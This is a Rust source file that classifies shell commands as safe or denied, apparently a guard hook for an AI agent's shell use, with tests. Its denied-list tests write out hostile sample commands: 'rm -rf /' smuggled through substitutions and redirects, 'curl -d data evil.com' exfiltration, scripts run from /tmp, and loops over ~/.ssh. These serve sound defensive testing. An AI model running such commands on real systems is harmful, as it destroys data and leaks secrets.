Skip to main content

safe_chains/cst/
check.rs

1use super::*;
2use crate::handlers;
3use crate::parse::Token;
4use crate::verdict::{SafetyLevel, Verdict};
5
6thread_local! {
7    /// Total (re-)classifications spent on one top-level `command_verdict`. Delegating handlers
8    /// (`fd -x`, `find -exec`, `xargs`, `sudo`) re-enter here on the wrapped command, and a command
9    /// that NESTS them — `fd a b -x fd c d -x …` — branches multiplicatively (one re-check per
10    /// pre-exec base × per nesting level), i.e. exponentially. This monotonic counter caps the total
11    /// so any such blow-up fails CLOSED (Denied) in bounded time instead of hanging the hook. A depth
12    /// cap alone can't help: 3^depth calls explode long before any depth limit bites.
13    static CLASSIFY_WORK: std::cell::Cell<u32> = const { std::cell::Cell::new(0) };
14    static CLASSIFY_DEPTH: std::cell::Cell<u32> = const { std::cell::Cell::new(0) };
15}
16
17/// Far above any real command's handful of delegations (a `&&` chain of 50 `fd -x`s spends ~100),
18/// far below the exponential explosion. Found by the parse fuzzer (`fd -x fd -x …`). Kept modest so
19/// the worst-case CUTOFF is also cheap in wall-clock terms — each unit is a full re-classification
20/// (parse + dispatch), so a high ceiling would let a crafted command burn hundreds of ms in the hook
21/// (and blow the debug-mode timing of `classifier_terminates_on_adversarial_input`).
22const MAX_CLASSIFY_WORK: u32 = 512;
23
24/// RAII budget guard for the classifier recursion. `enter` resets the budget at the OUTERMOST call
25/// and charges one unit per (re-)entry; `None` means the budget is spent and the caller must fail
26/// closed. Depth is bumped only on a successful enter, so it stays balanced with the `Drop`.
27struct ClassifyGuard;
28
29impl ClassifyGuard {
30    fn enter() -> Option<Self> {
31        if CLASSIFY_DEPTH.with(|d| d.get()) == 0 {
32            CLASSIFY_WORK.with(|w| w.set(0));
33        }
34        let spent = CLASSIFY_WORK.with(|w| {
35            let n = w.get().saturating_add(1);
36            w.set(n);
37            n
38        });
39        if spent > MAX_CLASSIFY_WORK {
40            return None;
41        }
42        CLASSIFY_DEPTH.with(|d| d.set(d.get() + 1));
43        Some(ClassifyGuard)
44    }
45}
46
47impl Drop for ClassifyGuard {
48    fn drop(&mut self) {
49        CLASSIFY_DEPTH.with(|d| d.set(d.get().saturating_sub(1)));
50    }
51}
52
53pub fn command_verdict(input: &str) -> Verdict {
54    let Some(_guard) = ClassifyGuard::enter() else {
55        return Verdict::Denied; // classification budget spent — fail closed
56    };
57    let Some(script) = parse(input) else {
58        return Verdict::Denied;
59    };
60    script_verdict(&script)
61}
62
63pub fn is_safe_command(input: &str) -> bool {
64    command_verdict(input).is_allowed()
65}
66
67fn script_verdict(script: &Script) -> Verdict {
68    // HP-19 #2: track cwd across statements. Each statement is evaluated with the current
69    // running cwd installed (so a later relative path resolves against it), and a `cd DIR`
70    // statement updates that running cwd for the statements after it. Fail-open: an
71    // unresolvable `cd` (bare / `~` / `$VAR`) leaves the running cwd unchanged.
72    let mut running = crate::pathctx::cwd();
73    let mut verdict = Verdict::Allowed(SafetyLevel::Inert);
74    for stmt in &script.0 {
75        let v = {
76            let _cwd = crate::pathctx::enter_cwd(running.clone());
77            pipeline_verdict(&stmt.pipeline)
78        };
79        verdict = verdict.combine(v);
80        let next = cd_target(&stmt.pipeline).and_then(|t| crate::pathctx::join_cwd(running.as_deref(), &t));
81        if next.is_some() {
82            running = next;
83        }
84    }
85    verdict
86}
87
88/// The target of a statement-level `cd DIR` (a single simple command named `cd`), for cwd
89/// tracking. `None` for anything else, or `cd` with no plain positional (bare `cd`, `cd -`).
90fn cd_target(pipeline: &Pipeline) -> Option<String> {
91    let [Cmd::Simple(s)] = pipeline.commands.as_slice() else {
92        return None;
93    };
94    if s.words.first()?.eval() != "cd" {
95        return None;
96    }
97    s.words.iter().skip(1).map(|w| w.eval()).find(|a| !a.starts_with('-'))
98}
99
100#[cfg(test)]
101pub(crate) fn is_safe_script(script: &Script) -> bool {
102    script_verdict(script).is_allowed()
103}
104
105pub(crate) fn pipeline_verdict(pipeline: &Pipeline) -> Verdict {
106    let mut acc = Verdict::Allowed(SafetyLevel::Inert);
107    let mut prev: Option<&Cmd> = None;
108    for cmd in &pipeline.commands {
109        // In `A | xargs CMD`, xargs injects A's stdout items as CMD's operands. Bind the
110        // stdin-item representative to A's output-path locus so the injected operand is gated
111        // there (the same idea as `find -exec`'s `{}` binding, sourced from the pipe instead).
112        let _stdin = prev.map(|p| crate::pathctx::enter_stdin_repr(pipe_source_repr(p)));
113        acc = acc.combine(cmd_verdict(cmd));
114        prev = Some(cmd);
115    }
116    acc
117}
118
119/// The sentinel operand fed to an injecting consumer when the source is unknown/unmodeled. The
120/// leading `/` makes it LOOK like a path (so `pathgate`-gated readers like `od` gate it) and the
121/// cmdsub marker makes it unpinnable (so engine-resolved readers like `cat` worst-case it) — it
122/// must deny in BOTH gate layers.
123const UNKNOWN_ITEM: &str = "/__SAFE_CHAINS_CMDSUB__";
124
125/// A representative PATH for the items `cmd` emits on stdout, used to gate an operand-injecting
126/// consumer downstream (`… | xargs cat`). Only producers that PROVABLY emit workspace-bounded
127/// paths yield a worktree representative; everything else worst-cases to `UNKNOWN_ITEM`.
128fn pipe_source_repr(cmd: &Cmd) -> String {
129    let Cmd::Simple(s) = cmd else {
130        return UNKNOWN_ITEM.to_string();
131    };
132    let words: Vec<String> = s.words.iter().map(Word::eval).collect();
133    let Some(first) = words.first() else {
134        return UNKNOWN_ITEM.to_string();
135    };
136    let name = Token::from_raw(first.clone()).command_name().to_string();
137    let args: Vec<&str> = words[1..].iter().map(String::as_str).collect();
138    match name.as_str() {
139        // find/fd emit paths UNDER their roots — the child of the worst root carries its locus.
140        "find" | "fd" | "fdfind" => {
141            let roots = find_roots(&args);
142            let base = roots.iter().find(|r| !source_ok(r)).copied().unwrap_or(".");
143            format!("{}/sc_item", base.trim_end_matches('/'))
144        }
145        // ls emits cwd-relative BASENAMES (worktree) unless `-d` echoes its (possibly absolute) args.
146        "ls" => {
147            if args.contains(&"-d") {
148                worst_arg_repr(&args)
149            } else {
150                "sc_item".to_string()
151            }
152        }
153        // echo/printf emit their args verbatim; the worst-locus arg is the representative.
154        "echo" | "printf" => worst_arg_repr(&args),
155        // git path-listers emit repo-relative paths (worktree, assuming the repo is the workspace).
156        "git" => match args.first() {
157            Some(&"ls-files") | Some(&"diff") | Some(&"status") | Some(&"grep") => "sc_item".to_string(),
158            _ => UNKNOWN_ITEM.to_string(),
159        },
160        _ => UNKNOWN_ITEM.to_string(),
161    }
162}
163
164/// Whether reading `path` is admitted — i.e. it is a workspace-bounded source (worktree, `/tmp`,
165/// a granted dir), so paths derived from it are safe operands.
166fn source_ok(path: &str) -> bool {
167    crate::engine::resolve::read_content_verdict(path).is_allowed()
168}
169
170/// The worst-locus non-flag arg (for `echo`/`printf`, which emit args verbatim): the first arg
171/// whose read is denied, else a worktree placeholder.
172fn worst_arg_repr(args: &[&str]) -> String {
173    args.iter()
174        .filter(|a| !a.starts_with('-'))
175        .find(|a| !source_ok(a))
176        .map_or_else(|| "sc_item".to_string(), |a| (*a).to_string())
177}
178
179/// `find`'s root operands: after any leading global options (`-H`/`-L`/`-P`, `-D`/`-O V`), the
180/// positional args up to the first predicate (`-name`, `(`, `!`, …). Defaults to `.` (cwd).
181fn find_roots<'a>(args: &[&'a str]) -> Vec<&'a str> {
182    let mut i = 0;
183    while i < args.len() {
184        match args[i] {
185            "-H" | "-L" | "-P" => i += 1,
186            "-D" | "-O" => i += 2,
187            _ => break,
188        }
189    }
190    let mut roots = Vec::new();
191    while i < args.len() && !args[i].starts_with('-') && !matches!(args[i], "(" | "!" | ")" | ",") {
192        roots.push(args[i]);
193        i += 1;
194    }
195    if roots.is_empty() {
196        roots.push(".");
197    }
198    roots
199}
200
201pub fn is_safe_pipeline(pipeline: &Pipeline) -> bool {
202    pipeline_verdict(pipeline).is_allowed()
203}
204
205pub(crate) fn has_unsafe_syntax(cmd: &Cmd) -> bool {
206    match cmd {
207        Cmd::Simple(s) => !check_redirects(&s.redirs) || has_any_substitution(s),
208        _ => true,
209    }
210}
211
212fn has_any_substitution(cmd: &SimpleCmd) -> bool {
213    cmd.words.iter().any(has_substitution)
214        || cmd.env.iter().any(|(_, v)| has_substitution(v))
215}
216
217pub(crate) fn normalize_for_matching(cmd: &SimpleCmd) -> String {
218    cmd.words.iter().map(|w| w.eval()).collect::<Vec<_>>().join(" ")
219}
220
221pub(crate) fn cmd_verdict(cmd: &Cmd) -> Verdict {
222    match cmd {
223        Cmd::Simple(s) => simple_verdict(s),
224        Cmd::Subshell { body, redirs } | Cmd::BraceGroup { body, redirs } => {
225            let body_v = script_verdict(body);
226            if let Verdict::Denied = body_v {
227                return Verdict::Denied;
228            }
229            let redir_v = redirect_verdict(redirs);
230            if let Verdict::Denied = redir_v {
231                return Verdict::Denied;
232            }
233            body_v.combine(redir_v)
234        }
235        Cmd::For { var, items, body, redirs } => {
236            let redir_v = redirect_verdict(redirs);
237            if let Verdict::Denied = redir_v {
238                return Verdict::Denied;
239            }
240            // Bind `$var` in the body to the loop list's locus (the `find … {}`→path binding,
241            // one layer up), so `for f in *.txt; do cat $f` reads the worktree instead of
242            // fail-closing on the bare `$f`.
243            let item_strs: Vec<String> = items.iter().map(Word::eval).collect();
244            let body_v = match crate::engine::resolve::loop_reprs(&item_strs) {
245                Some((read_repr, write_repr)) => {
246                    let _g = crate::pathctx::enter_loop_var(var.clone(), read_repr, write_repr);
247                    script_verdict(body)
248                }
249                None => script_verdict(body),
250            };
251            words_sub_verdict(items).combine(body_v).combine(redir_v)
252        }
253        Cmd::While { cond, body, redirs } | Cmd::Until { cond, body, redirs } => {
254            let redir_v = redirect_verdict(redirs);
255            if let Verdict::Denied = redir_v {
256                return Verdict::Denied;
257            }
258            script_verdict(cond)
259                .combine(script_verdict(body))
260                .combine(redir_v)
261        }
262        Cmd::If {
263            branches,
264            else_body,
265            redirs,
266        } => {
267            let redir_v = redirect_verdict(redirs);
268            if let Verdict::Denied = redir_v {
269                return Verdict::Denied;
270            }
271            let mut v = redir_v;
272            for b in branches {
273                v = v.combine(script_verdict(&b.cond)).combine(script_verdict(&b.body));
274            }
275            if let Some(eb) = else_body {
276                v = v.combine(script_verdict(eb));
277            }
278            v
279        }
280        Cmd::DoubleBracket { words, redirs } => {
281            words_sub_verdict(words).combine(redirect_verdict(redirs))
282        }
283    }
284}
285
286pub(crate) fn is_safe_cmd(cmd: &Cmd) -> bool {
287    cmd_verdict(cmd).is_allowed()
288}
289
290fn part_sub_verdict(part: &WordPart) -> Verdict {
291    match part {
292        WordPart::CmdSub(inner) | WordPart::ProcSub(inner) => script_verdict(inner),
293        WordPart::Backtick(raw) => command_verdict(raw),
294        WordPart::DQuote(inner) => word_sub_verdict(inner),
295        _ => Verdict::Allowed(SafetyLevel::Inert),
296    }
297}
298
299fn word_sub_verdict(word: &Word) -> Verdict {
300    word.0.iter()
301        .map(part_sub_verdict)
302        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
303}
304
305fn words_sub_verdict(words: &[Word]) -> Verdict {
306    words.iter()
307        .map(word_sub_verdict)
308        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
309}
310
311#[cfg(test)]
312pub(crate) fn word_subs_safe(word: &Word) -> bool {
313    word_sub_verdict(word).is_allowed()
314}
315
316fn simple_verdict(cmd: &SimpleCmd) -> Verdict {
317    let redir_v = redirect_verdict(&cmd.redirs);
318    if let Verdict::Denied = redir_v {
319        return Verdict::Denied;
320    }
321
322    let env_sub_v = cmd.env.iter()
323        .map(|(_, v)| word_sub_verdict(v))
324        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine);
325    let word_sub_v = words_sub_verdict(&cmd.words);
326    let sub_v = env_sub_v.combine(word_sub_v);
327
328    if let Verdict::Denied = sub_v {
329        return Verdict::Denied;
330    }
331
332    if cmd.words.is_empty() {
333        if cmd.env.is_empty() {
334            return Verdict::Allowed(SafetyLevel::Inert);
335        }
336        return sub_v.combine(redir_v);
337    }
338
339    if cmd.words[0].eval() == "eval" {
340        return eval_verdict(cmd).combine(sub_v).combine(redir_v);
341    }
342
343    // Brace-expand each word (`cat {/etc/shadow,x}` → two operands) so every alternative bash
344    // would run is classified — a braced word must not hide a system path from the gate.
345    let tokens: Vec<Token> =
346        cmd.words.iter().flat_map(|w| w.expand().into_iter().map(Token::from_raw)).collect();
347    if tokens.is_empty() {
348        return Verdict::Allowed(SafetyLevel::Inert);
349    }
350
351    let cmd_v = leaf_verdict(&tokens);
352    sub_v.combine(cmd_v).combine(redir_v)
353}
354
355/// The command leaf's verdict. The behavioral-capability engine is authoritative for every
356/// command it can resolve; the legacy classifier handles the rest (`…-engine` §4). There is
357/// no opt-out — the engine is the default and only path.
358fn leaf_verdict(tokens: &[Token]) -> Verdict {
359    let legacy = handlers::dispatch(tokens);
360    crate::engine::bridge::engine_verdict(tokens).unwrap_or(legacy)
361}
362
363fn eval_verdict(cmd: &SimpleCmd) -> Verdict {
364    if cmd.words.len() < 2 {
365        return Verdict::Denied;
366    }
367    for arg in &cmd.words[1..] {
368        if !arg_is_eval_safe(arg) {
369            return Verdict::Denied;
370        }
371    }
372    Verdict::Allowed(SafetyLevel::Inert)
373}
374
375fn arg_is_eval_safe(word: &Word) -> bool {
376    let mut found_safe = false;
377    for part in &word.0 {
378        match part {
379            WordPart::Lit(s) | WordPart::SQuote(s) => {
380                if !s.chars().all(char::is_whitespace) {
381                    return false;
382                }
383            }
384            WordPart::Escape(c) => {
385                if !c.is_whitespace() {
386                    return false;
387                }
388            }
389            WordPart::CmdSub(script) => {
390                if !script_yields_eval_safe(script) {
391                    return false;
392                }
393                found_safe = true;
394            }
395            WordPart::Backtick(raw) => {
396                let Some(script) = parse(raw) else {
397                    return false;
398                };
399                if !script_yields_eval_safe(&script) {
400                    return false;
401                }
402                found_safe = true;
403            }
404            WordPart::DQuote(inner) => {
405                if !arg_is_eval_safe(inner) {
406                    return false;
407                }
408                if has_substitution(inner) {
409                    found_safe = true;
410                }
411            }
412            WordPart::ProcSub(_) | WordPart::Arith(_) => return false,
413        }
414    }
415    found_safe
416}
417
418fn script_yields_eval_safe(script: &Script) -> bool {
419    if script.0.len() != 1 {
420        return false;
421    }
422    let stmt = &script.0[0];
423    if !matches!(stmt.op, None | Some(ListOp::Semi)) {
424        return false;
425    }
426    let pipeline = &stmt.pipeline;
427    if pipeline.bang || pipeline.commands.len() != 1 {
428        return false;
429    }
430    let Cmd::Simple(s) = &pipeline.commands[0] else {
431        return false;
432    };
433    if !s.env.is_empty() {
434        return false;
435    }
436    // A redirect inside the substitution is allowed only if it's inert:
437    // stderr suppression (`2>/dev/null`), an fd dup (`2>&1`), or `/dev/null`.
438    // A redirect that writes a real file is SafeWrite, not inert, so
439    // `mise activate bash > evil` is rejected — eval-safe must not gain a
440    // file-write side effect, and diverting stdout to a file is pointless here.
441    if redirect_verdict(&s.redirs) != Verdict::Allowed(SafetyLevel::Inert) {
442        return false;
443    }
444    for w in &s.words {
445        if !word_is_plain_literal(w) {
446            return false;
447        }
448    }
449    let tokens: Vec<Token> =
450        s.words.iter().flat_map(|w| w.expand().into_iter().map(Token::from_raw)).collect();
451    if tokens.is_empty() {
452        return false;
453    }
454    crate::registry::is_eval_safe_invocation(&tokens)
455}
456
457/// True iff every character of `word` is drawn from the bare-literal
458/// alphabet: ASCII alphanumerics plus `_`, `-`, `.`, `/`, `=`. Words
459/// matching this shape consist entirely of identifier-style or
460/// path-style tokens that the shell will pass through to the
461/// substituted command unchanged at runtime.
462///
463/// Required for words inside eval-safe substitutions because the
464/// "stdout is shell-init code" trust depends on the contributor having
465/// vetted what gets passed to the tool. Restricting the alphabet to
466/// chars with no shell-expansion semantics keeps the substituted
467/// invocation static across parse-time and runtime — what you see in
468/// the source is what the tool receives.
469fn word_is_plain_literal(word: &Word) -> bool {
470    word.0.iter().all(part_is_plain_literal)
471}
472
473fn part_is_plain_literal(part: &WordPart) -> bool {
474    match part {
475        WordPart::Lit(s) | WordPart::SQuote(s) => s.chars().all(is_bare_literal_char),
476        WordPart::Escape(c) => is_bare_literal_char(*c),
477        WordPart::DQuote(inner) => word_is_plain_literal(inner),
478        WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) => false,
479    }
480}
481
482/// Bare-literal alphabet: ASCII alphanumerics plus a tight punctuation
483/// set covering identifiers (`_`, `-`), versions / paths (`.`, `/`),
484/// and the long-flag value form (`=`). New chars require an explicit
485/// eval-safe use case — add by extending this match, never by
486/// excluding individual hostile chars.
487fn is_bare_literal_char(c: char) -> bool {
488    c.is_ascii_alphanumeric() || matches!(c, '_' | '-' | '.' | '/' | '=')
489}
490
491pub(crate) fn check_redirects(redirs: &[Redir]) -> bool {
492    redirs.iter().all(|r| match r {
493        Redir::Write { target, .. } => target.eval() == "/dev/null",
494        Redir::Read { .. }
495        | Redir::HereStr(_)
496        | Redir::HereDoc { .. }
497        | Redir::DupFd { .. } => true,
498    })
499}
500
501/// Whether a redirect *write* target is one we can auto-approve. Delegates to the SAME location
502/// model + user grants the engine's file writers (`cp`/`mv`/`tee`/…) use, so a `> ~/file` honors
503/// a home grant exactly like `cp ./a ~/file`; `/tmp` and `/dev/stdout` stay writable; and
504/// `.git`/`.envrc`, home, absolute system paths, `..` escapes, and `$`-unpinnable targets stay
505/// frozen (a redirect there can plant a git hook, an SSH key, or a direnv script that runs
506/// later). Relative targets resolve against the harness cwd/root inside `write_target_verdict`.
507fn is_safe_write_target(path: &str) -> bool {
508    crate::engine::resolve::write_target_verdict(path).is_allowed()
509}
510
511pub(crate) fn redirect_verdict(redirs: &[Redir]) -> Verdict {
512    let mut level = Verdict::Allowed(SafetyLevel::Inert);
513    for r in redirs {
514        match r {
515            Redir::Write { target, .. } => {
516                level = level.combine(word_sub_verdict(target));
517                let t = target.eval();
518                if t == "/dev/null" {
519                    // Inert: no side effect, no promotion.
520                } else if is_safe_write_target(&t) {
521                    level = level.combine(Verdict::Allowed(SafetyLevel::SafeWrite));
522                } else {
523                    level = level.combine(Verdict::Denied);
524                }
525            }
526            Redir::Read { target, .. } => {
527                level = level.combine(word_sub_verdict(target));
528                // Gate the SOURCE by its read locus, like an operand read: `cat < /etc/shadow`
529                // must deny just as `cat /etc/shadow` does. A substitution-derived source names
530                // an unknowable file → fail-closed to Denied.
531                if has_substitution(target) {
532                    level = level.combine(Verdict::Denied);
533                } else {
534                    level = level.combine(crate::engine::resolve::read_content_verdict(&target.eval()));
535                }
536            }
537            Redir::HereStr(word) => {
538                level = level.combine(word_sub_verdict(word));
539            }
540            Redir::HereDoc { .. } | Redir::DupFd { .. } => {}
541        }
542    }
543    level
544}
545
546fn has_substitution(word: &Word) -> bool {
547    word.0.iter().any(|p| match p {
548        WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) => true,
549        WordPart::DQuote(inner) => has_substitution(inner),
550        _ => false,
551    })
552}
553
554#[cfg(test)]
555mod tests {
556    use super::*;
557
558    fn check(cmd: &str) -> bool {
559        is_safe_command(cmd)
560    }
561
562    #[test]
563    fn loop_variable_inherits_the_list_locus() {
564        // A worktree `in`-list → the body reads/writes the worktree → allowed. The bare `$f`
565        // used to fail-closed to machine; now it binds to the list, like find's `{}`→path.
566        for cmd in [
567            "for f in *.txt; do cat $f; done",
568            "for f in *.txt; do rm $f; done",
569            "for f in src/*.rs; do grep foo $f; done",
570            "for f in *.log; do sed -i s/a/b/ $f; done",
571            "for f in a b c; do cat $f.bak; done",
572            "for x in 1 2 3; do rm $x; done",
573            "for d in a b; do for f in $d/x; do cat $f; done; done", // nested loops compose
574        ] {
575            assert!(check(cmd), "worktree loop should allow: {cmd}");
576        }
577        // A system / credential / unpinnable `in`-list → deny (the body could touch it).
578        for cmd in [
579            "for f in /etc/*; do cat $f; done",
580            "for f in /etc/*.conf; do rm $f; done",
581            "for f in ~/.ssh/*; do cat $f; done",
582            "for f in $LIST; do rm $f; done",
583            "for f in $(find / -name x); do rm -rf $f; done",
584            "for d in /etc; do for f in $d/x; do cat $f; done; done",
585            // read-worst ≠ write-worst: reading must worst-case ~/notes even though the
586            // write-worst item is /etc/hosts — a single representative would be unsound.
587            "for f in /etc/hosts ~/notes; do cat $f; done",
588        ] {
589            assert!(!check(cmd), "non-worktree loop should deny: {cmd}");
590        }
591    }
592
593    safe! {
594        grep_foo: "grep foo file.txt",
595        jq_key: "jq '.key' file.json",
596        base64_d: "base64 -d",
597        ls_la: "ls -la",
598        wc_l: "wc -l file.txt",
599        ps_aux: "ps aux",
600        echo_hello: "echo hello",
601        cat_file: "cat file.txt",
602
603        version_go: "go --version",
604        version_cargo: "cargo --version",
605        version_cargo_redirect: "cargo --version 2>&1",
606        help_cargo: "cargo --help",
607        help_cargo_build: "cargo build --help",
608
609        dev_null_echo: "echo hello > /dev/null",
610        dev_null_stderr: "echo hello 2> /dev/null",
611        dev_null_append: "echo hello >> /dev/null",
612        dev_null_git_log: "git log > /dev/null 2>&1",
613        fd_redirect_ls: "ls 2>&1",
614        stdin_dev_null: "git log < /dev/null",
615
616        env_prefix: "FOO='bar baz' ls -la",
617        env_prefix_dq: "FOO=\"bar baz\" ls -la",
618        env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
619
620        subst_echo_ls: "echo $(ls)",
621        subst_ls_pwd: "ls `pwd`",
622        subst_nested: "echo $(echo $(ls))",
623        subst_quoted: "echo \"$(ls)\"",
624        assign_subst_ls: "out=$(ls)",
625        assign_subst_git: "out=$(git status)",
626        assign_subst_multiple: "a=$(ls) b=$(pwd)",
627        assign_subst_backtick: "out=`ls`",
628
629        assign_bare_lit: "foo=bar",
630        assign_bare_int: "x=1",
631        assign_bare_empty: "x=",
632        assign_bare_dq: "x=\"foo bar\"",
633        assign_bare_sq: "x='foo bar'",
634        assign_bare_param: "rc=$?",
635        assign_bare_var: "x=$y",
636        assign_bare_dollar_var_braced: "x=${y}",
637        assign_bare_path: "PATH=/foo",
638        assign_bare_multiple: "a=1 b=2 c=3",
639        assign_bare_arith: "x=$((1 + 2))",
640        assign_in_for_body: "for i in 1 2; do x=1; done",
641        assign_rc_in_for_body: "for i in 1 2; do echo $i; rc=$?; done",
642        assign_rc_in_while_body: "while test -f /tmp/x; do rc=$?; sleep 1; done",
643        assign_rc_in_if_body: "if test -f foo; then rc=$?; fi",
644        assign_then_use: "x=1; echo $x",
645        assign_chained_with_safe: "x=1 && ls",
646        assign_subshell: "(x=1)",
647        assign_in_subshell_with_cmd: "(x=1; ls)",
648
649        subshell_echo: "(echo hello)",
650        subshell_ls: "(ls)",
651        subshell_chain: "(ls && echo done)",
652        subshell_pipe: "(ls | grep foo)",
653        subshell_nested: "((echo hello))",
654        subshell_for: "(for x in 1 2; do echo $x; done)",
655
656        pipe_grep_head: "grep foo file.txt | head -5",
657        pipe_cat_sort_uniq: "cat file | sort | uniq",
658        chain_ls_echo: "ls && echo done",
659        semicolon_ls_echo: "ls; echo done",
660        bg_ls_echo: "ls & echo done",
661        newline_echo_echo: "echo foo\necho bar",
662
663        stdin_read_from_path: "wc -l < /tmp/foo.log",
664        stdin_read_in_subst: "while [ $(wc -l < /tmp/x) -lt 10 ]; do sleep 5; done",
665        stdin_read_in_for_body: "for i in 1 2; do cat < /tmp/x; done",
666
667        here_string_grep: "grep -c , <<< 'hello,world,test'",
668        heredoc_cat: "cat <<EOF\nhello world\nEOF",
669        heredoc_quoted: "cat <<'EOF'\nhello\nEOF",
670        heredoc_strip_tabs: "cat <<-EOF\n\thello\nEOF",
671        heredoc_no_content: "cat <<EOF",
672        heredoc_pipe: "cat <<EOF | grep hello\nhello\nEOF",
673
674        for_echo: "for x in 1 2 3; do echo $x; done",
675        for_empty_body: "for x in 1 2 3; do; done",
676        for_nested: "for x in 1 2; do for y in a b; do echo $x $y; done; done",
677        for_safe_subst: "for x in $(seq 1 5); do echo $x; done",
678        while_test: "while test -f /tmp/foo; do sleep 1; done",
679        while_negation: "while ! test -f /tmp/done; do sleep 1; done",
680        until_test: "until test -f /tmp/ready; do sleep 1; done",
681        if_then_fi: "if test -f foo; then echo exists; fi",
682        if_then_else_fi: "if test -f foo; then echo yes; else echo no; fi",
683        if_elif: "if test -f a; then echo a; elif test -f b; then echo b; else echo c; fi",
684        nested_if_in_for: "for x in 1 2; do if test $x = 1; then echo one; fi; done",
685        bare_negation: "! echo hello",
686        keyword_as_data: "echo for; echo done; echo if; echo fi",
687
688        quoted_redirect: "echo 'greater > than' test",
689        quoted_subst: "echo '$(safe)' arg",
690
691        redirect_to_file: "echo hello > file.txt",
692        redirect_append: "cat file >> output.txt",
693        redirect_stderr_file: "ls 2> errors.txt",
694        redirect_bidirectional_write: "cat < /tmp/x > /tmp/y",
695        env_rails_redirect: "RAILS_ENV=test echo foo > bar",
696        jj_diff_redirect_chain: "jj diff -r 'master..@' --context 5 > /tmp/review_diff.txt && wc -l /tmp/review_diff.txt",
697
698        arith_basic: "echo $((1 + 2))",
699        arith_with_var: "prev=$((ln - 1))",
700        arith_nested_parens: "echo $(( (1 + 2) * 3 ))",
701        arith_in_dquote: "echo \"line $((ln - 1))\"",
702        arith_in_for_loop: "for i in 1 2; do echo $((i * 10)); done",
703
704        dbracket_eq: "[[ \"a\" == \"a\" ]]",
705        dbracket_neq: "[[ \"a\" != \"b\" ]]",
706        dbracket_file_test: "[[ -f /tmp/file ]]",
707        dbracket_string_empty: "[[ -z \"$var\" ]]",
708        dbracket_string_nonempty: "[[ -n \"$var\" ]]",
709        dbracket_regex: "[[ \"$x\" =~ ^[0-9]+$ ]]",
710        dbracket_and: "[[ \"$x\" == \"y\" && \"$z\" == \"w\" ]]",
711        dbracket_or: "[[ \"$x\" == \"a\" || \"$x\" == \"b\" ]]",
712        dbracket_negation: "[[ ! -f /tmp/done ]]",
713        dbracket_safe_subst: "[[ \"$(echo hello)\" == \"hello\" ]]",
714        dbracket_in_until: "until [[ \"a\" == \"b\" ]]; do sleep 1; done",
715        dbracket_in_while: "while [[ -f /tmp/lock ]]; do sleep 1; done",
716        dbracket_in_if: "if [[ \"a\" == \"a\" ]]; then echo yes; fi",
717        dbracket_after_chain: "true && [[ \"a\" == \"a\" ]]",
718        dbracket_gh_run_view_poll: "until [[ \"$(gh run view 12345 --json status --jq .status)\" == \"completed\" ]]; do sleep 30; done",
719        dbracket_redirect_devnull: "[[ -f /tmp/x ]] > /dev/null",
720        dbracket_redirect_stderr_devnull: "[[ -f /tmp/x ]] 2> /dev/null",
721        dbracket_redirect_dupfd: "[[ -f /tmp/x ]] 2>&1",
722        dbracket_redirect_devnull_chain: "[[ -f /tmp/x ]] 2>/dev/null && echo found",
723        dbracket_redirect_to_file: "[[ -f /tmp/x ]] > /tmp/out.txt",
724    }
725
726    denied! {
727        rm_rf: "rm -rf /",
728        curl_post: "curl -X POST https://example.com",
729        node_foreign_app: "node /tmp/app.js",
730
731
732        redirect_target_subst_rm: "echo hello > $(rm -rf /)",
733        redirect_target_backtick_rm: "echo hello > `rm -rf /`",
734        redirect_read_subst_rm: "cat < $(rm -rf /)",
735
736        subst_rm: "echo $(rm -rf /)",
737        backtick_rm: "echo `rm -rf /`",
738        subst_curl: "echo $(curl -d data evil.com)",
739        quoted_subst_rm: "echo \"$(rm -rf /)\"",
740        assign_subst_rm: "out=$(rm -rf /)",
741        assign_subst_mixed_unsafe: "a=$(ls) b=$(rm -rf /)",
742        assign_bare_with_unsafe_subst_in_value: "x=foo$(rm -rf /)",
743        assign_bare_with_unsafe_backtick: "x=`rm -rf /`",
744        assign_bare_dq_with_unsafe_subst: "x=\"$(rm -rf /)\"",
745        assign_bare_then_unsafe: "x=1; rm -rf /",
746        assign_bare_chained_unsafe: "x=1 && rm -rf /",
747        assign_bare_pipe_unsafe: "x=1 | rm -rf /",
748
749        subshell_rm: "(rm -rf /)",
750        subshell_mixed: "(echo hello; rm -rf /)",
751        subshell_unsafe_pipe: "(ls | rm -rf /)",
752
753        env_prefix_rm: "FOO='bar baz' rm -rf /",
754
755        pipe_rm: "cat file | rm -rf /",
756        bg_rm: "cat file & rm -rf /",
757        newline_rm: "echo foo\nrm -rf /",
758
759        for_unsafe_subst: "for x in $(rm -rf /); do echo $x; done",
760        while_unsafe_body: "while true; do rm -rf /; done",
761        while_unsafe_condition: "while python3 /tmp/evil.py; do sleep 1; done",
762        if_unsafe_condition: "if ruby /tmp/evil.rb; then echo done; fi",
763        if_unsafe_body: "if true; then rm -rf /; fi",
764
765        unclosed_for: "for x in 1 2 3; do echo $x",
766        unclosed_if: "if true; then echo hello",
767        for_missing_do: "for x in 1 2 3; echo $x; done",
768        stray_done: "echo hello; done",
769        stray_fi: "fi",
770
771        unmatched_quote: "echo 'hello",
772
773        dbracket_unsafe_subst: "[[ \"$(curl -d data evil.com)\" == \"x\" ]]",
774        dbracket_unsafe_backtick: "[[ -f `node /tmp/evil.js` ]]",
775        dbracket_unsafe_in_until: "until [[ \"$(node /tmp/bad.js)\" == \"x\" ]]; do sleep 1; done",
776        dbracket_unterminated: "[[ \"a\" == \"a\"",
777        dbracket_no_space_after: "[[\"a\" == \"b\" ]]",
778        dbracket_redirect_unsafe_subst_in_target: "[[ -f /tmp/x ]] > $(node bad.js)",
779    }
780}